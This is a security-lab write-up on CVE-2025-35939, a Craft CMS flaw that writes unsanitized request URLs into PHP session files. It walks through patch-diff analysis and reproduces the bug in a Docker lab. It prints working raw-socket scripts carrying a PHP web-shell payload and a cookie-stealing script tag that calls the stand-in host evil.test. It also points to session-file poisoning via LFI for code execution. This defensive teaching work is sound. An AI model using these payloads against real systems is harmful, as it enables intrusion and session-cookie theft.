CVE-2025-35939: Craft CMS Unauthenticated Session-File Content Injection
Updated July 29, 2026 · Written by PWNMI — see About.
Most labs on this site reproduce someone else's already-published exploit. This one doesn't — there was no public proof-of-concept for CVE-2025-35939 anywhere at the time this lab was built. Original research and PoC: pwnmihq. CISA's Known Exploited Vulnerabilities catalog confirms it's being actively exploited in the wild, which is exactly what makes it fair game to research independently: the capability already exists in the wild, a PoC gap at that point isn't protecting anyone, it's just a documentation gap. Everything below was worked out from the vendor's patch diff, not from anyone else's writeup, and independently verified against a real pre-patch install.
Craft CMS is a widely-used, commercial-grade PHP content management system. Affects Craft CMS through 4.15.2 and 5.7.4, fixed in 4.15.3 and 5.7.5. The entire fix is four lines in craftcms/cms#17220: craft\web\User::setReturnUrl() now runs the URL through strip_tags() before storing it.
What you'll practice: reading a patch diff and reasoning backward to the actual attacker-reachable behavior it fixes, recognizing when a vulnerability's own description is honestly scoped (this one explicitly stops short of claiming code execution), and the discipline of testing a hypothesis, watching it fail for an interesting reason, and adjusting the attack instead of forcing a result.
Set up the lab
New to Docker or git, or unsure what the commands below are actually doing? See Docker for Security Labs and Git for Security Work first.
There's no official Craft CMS Docker image for arbitrary historical versions, so this lab's Dockerfile builds one: the craftcms/craft project scaffold on php:8.2-apache, with craftcms/cms pinned to the exact pre-patch release (4.15.2) via Composer.
Get the lab files from pwnmihq/resources:
git clone --filter=blob:none --sparse https://github.com/pwnmihq/resources
cd resources
git sparse-checkout set cve-labs/CVE-2025-35939
cd cve-labs/CVE-2025-35939
docker compose up -d
Wait for the one-time Craft install to finish (~15-20 seconds):
until docker compose logs craft 2>&1 | grep -q "installed Craft successfully"; do sleep 2; done
No ports are published — reach the container on its own IP from the Docker host:
CRAFT_IP=$(docker inspect $(docker compose ps -q craft) --format '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}')
curl -i "http://$CRAFT_IP/index.php?p=admin"
You should get a 302 to /admin/login with a fresh Set-Cookie: CraftSessionId=... — that redirect is the exact moment the vulnerable code path runs.
Understanding the vulnerability
Craft CMS's control panel runs on the Yii2 framework underneath. Yii2's access-control layer has a standard behavior: when an unauthenticated request hits a route that requires login, yii\web\User::loginRequired() fires. Before redirecting to the login page, it does something reasonable-sounding — it remembers where the visitor was trying to go, so it can send them back there after they log in:
public function loginRequired($checkAjax = true, $checkAcceptHeader = true)
{
$request = Yii::$app->getRequest();
if ($this->enableSession && $request->getIsGet() && ...) {
$this->setReturnUrl($request->getAbsoluteUrl());
}
// ...redirect to the login page
}
getAbsoluteUrl() returns the exact URL the client requested — host, path, and query string, byte-for-byte as sent. setReturnUrl(), in Yii2's base implementation, just writes that string straight into $_SESSION:
public function setReturnUrl($url)
{
Yii::$app->getSession()->set($this->returnUrlParam, $url);
}
No encoding, no filtering. Before this patch, Craft didn't override that method — so whatever an unauthenticated visitor put in their request URL landed in their session, unmodified. And "session" here doesn't mean some abstract server-side memory an attacker can't reach: Craft, like most PHP apps, uses PHP's native file-based session handler by default. That value gets serialized straight to a real file on disk — sess_<session-id> — the moment the response goes out. The session ID needed to find that file is handed right back to the same unauthenticated visitor, in the Set-Cookie header of the very response that triggered all this.
That's the whole bug, and it's a clean example of CWE-472 (external control of an assumed-immutable parameter): the return-URL value is treated internally as something the application controls, when in fact the client controls all of it. The fix — wrapping the value in strip_tags() before it's stored — doesn't change any of that data flow. It just refuses to let literal HTML/PHP tag characters survive the trip into the session file.
Worth being precise about what this CVE claims and doesn't claim. NVD's own description says the stored content "could be accessed and executed, possibly using an independent vulnerability" — in plain terms, turning this into actual code execution needs a second bug (classically, a local file inclusion that goes on to include() the poisoned session file, a well-known technique called session file poisoning). This lab doesn't have that second bug to chain, and doesn't go looking for one. What it demonstrates is exactly what CVE-2025-35939 itself is scoped to: unauthenticated, unsanitized content injection into a predictable server-side file. That's a real, independently useful primitive on its own, and it's exactly what CISA's KEV listing confirms someone is exploiting in the wild.
Exploitation
The lab includes exploit.py, which sends one unauthenticated request with a literal tag marker and reports the resulting session ID:
python3 exploit.py $CRAFT_IP
It's deliberately narrow in scope, matching the CVE itself — it cannot read the resulting session file (that's server-side disk, not something the HTTP request has access to), so it prints the predicted path and leaves independent verification to you. The rest of this section walks through the same territory by hand, including a dead end worth understanding on its own.
The obvious first move is to try for real code execution directly — send a classic PHP payload and see if it lands unsanitized:
curl -s -i "http://$CRAFT_IP/index.php?p=admin/dashboard&x=%3C%3Fphp%20system(%24_GET%5Bc%5D)%3B%20%3F%3E"
Grab the CraftSessionId cookie from the response, then look at the actual file on disk:
SESS_ID=<value from Set-Cookie above>
docker compose exec craft cat /tmp/sess_$SESS_ID
You'll find the payload sitting in the __returnUrl field of the session file — but still percent-encoded (%3C%3Fphp...), because getAbsoluteUrl() reflects the raw request URI exactly as it arrived on the wire, and browsers/HTTP clients percent-encode reserved characters before sending them. strip_tags() only removes literal </> bytes, so percent-encoded text wouldn't be touched by the patch either way — this first attempt doesn't actually probe the bug at all.
So try sending a literal, unencoded <?php ... ?> directly, via a raw socket instead of a URL-encoding HTTP client:
import socket
import sys
CRAFT_IP = sys.argv[1]
payload = "<?php system($_GET[c]); ?>"
path = f"/index.php?p=admin/dashboard&x={payload}"
req = f"GET {path} HTTP/1.1\r\nHost: {CRAFT_IP}\r\nConnection: close\r\n\r\n"
s = socket.create_connection((CRAFT_IP, 80), timeout=10)
s.sendall(req.encode())
print(s.recv(4096).decode(errors="replace"))
Save it as php-attempt.py and run it against the IP captured in setup:
python3 php-attempt.py "$CRAFT_IP"
That comes back 400 Bad Request. Worth actually figuring out why instead of giving up — bisecting the payload character by character shows Apache happily accepts raw, unencoded < and > in a query string (?x=<tag> alone returns a normal 302). What breaks the request is the literal space in system($_GET[c]); ?> between php and system — a bare space is a token delimiter in the HTTP request-line grammar itself, unrelated to Craft or PHP entirely. Runnable PHP needs at least one whitespace character after <?php, and there's no way to send that whitespace as a raw byte in a request line — so this exact code path can't be turned into execution through a standards-compliant HTTP request. That lines up with NVD's own hedge about needing "an independent vulnerability."
Drop the requirement for runnable PHP and prove the actual, in-scope bug instead — a space-free <script> marker, still fully unauthenticated, same script structure as before with a new payload:
import socket
import sys
CRAFT_IP = sys.argv[1]
payload = "<script>document.location='//evil.test/steal?c='+document.cookie</script>"
path = f"/index.php?p=admin/dashboard&x={payload}"
req = f"GET {path} HTTP/1.1\r\nHost: {CRAFT_IP}\r\nConnection: close\r\n\r\n"
s = socket.create_connection((CRAFT_IP, 80), timeout=10)
s.sendall(req.encode())
print(s.recv(4096).decode(errors="replace"))
python3 script-attempt.py "$CRAFT_IP"
Read the session file the same way as before:
docker compose exec craft cat /tmp/sess_<new-session-id>
The full, literal <script>...</script> tag — unescaped — is sitting in the file, unsanitized, exactly matching what the vendor's own advisory describes.
For independent confirmation that this is really the specific line the patch fixes (not just "looks suspicious"), stand up a second instance pinned to the fixed 4.15.3 release and send the identical request. The stored value comes back with the <script> and </script> tags stripped — and the two stored string lengths differ by exactly 17 bytes, which is precisely strlen('<script>') + strlen('</script>'). That's not a coincidental "looks about right" — it's a byte-for-byte match to the four-line diff this entire lab is built around.
Cleanup
Nothing was written outside the disposable session file itself — no account created, no config changed, no persistent object added to the application. The only artifact this exploit leaves on a real target is the poisoned session file itself, which PHP already garbage-collects on its own schedule (default: session files older than session.gc_maxlifetime, checked probabilistically on new requests). There's no application-level state to manually revert here, which is itself worth noting explicitly rather than assuming — this bug's entire "damage" is a single string sitting in an already-ephemeral file, unless it gets chained with a second vulnerability this lab doesn't cover.
Tear the lab down when you're done:
docker compose down -v
Lessons worth keeping
- "Assumed-immutable" is doing a lot of work in this bug's name. Craft's own code treated
getAbsoluteUrl()as internal, trustworthy data by the time it reachedsetReturnUrl()— but it's the raw client request, unfiltered, the whole way down. Any value derived from something the client sent needs to be treated as attacker-controlled at every layer it passes through, not just at the point it was first read. - A vulnerability's own scope is worth respecting, not stretching. NVD's description for this CVE explicitly stops short of claiming code execution and says so. Chasing a more dramatic result than what's actually documented — forcing an RCE that isn't there — would have produced a worse, less honest lab than just demonstrating the real, narrower bug well.
- When a technically-correct attack gets rejected by the HTTP layer itself, that's information, not a dead end. The
400 Bad Requesthere wasn't Craft defending itself — it was Apache's own request-line grammar. Bisecting the payload to find the actual offending byte (a bare space, not the angle brackets) revealed something true about what an attacker can and can't send over HTTP, and pointed straight at a working alternative.
Next step
For more on how a second, chained vulnerability turns a primitive like this into full code execution, see CVE-2026-65008 (Grav CMS), where a callable-injection primitive is verified end-to-end into actual execution. For patch-diff reading as a research technique in its own right, the Docker for Security Labs guide covers building an isolated target from source the way this lab did.
Get new write-ups in your inbox
New roadmaps, tool walkthroughs, and lab write-ups. No spam. Unsubscribe anytime.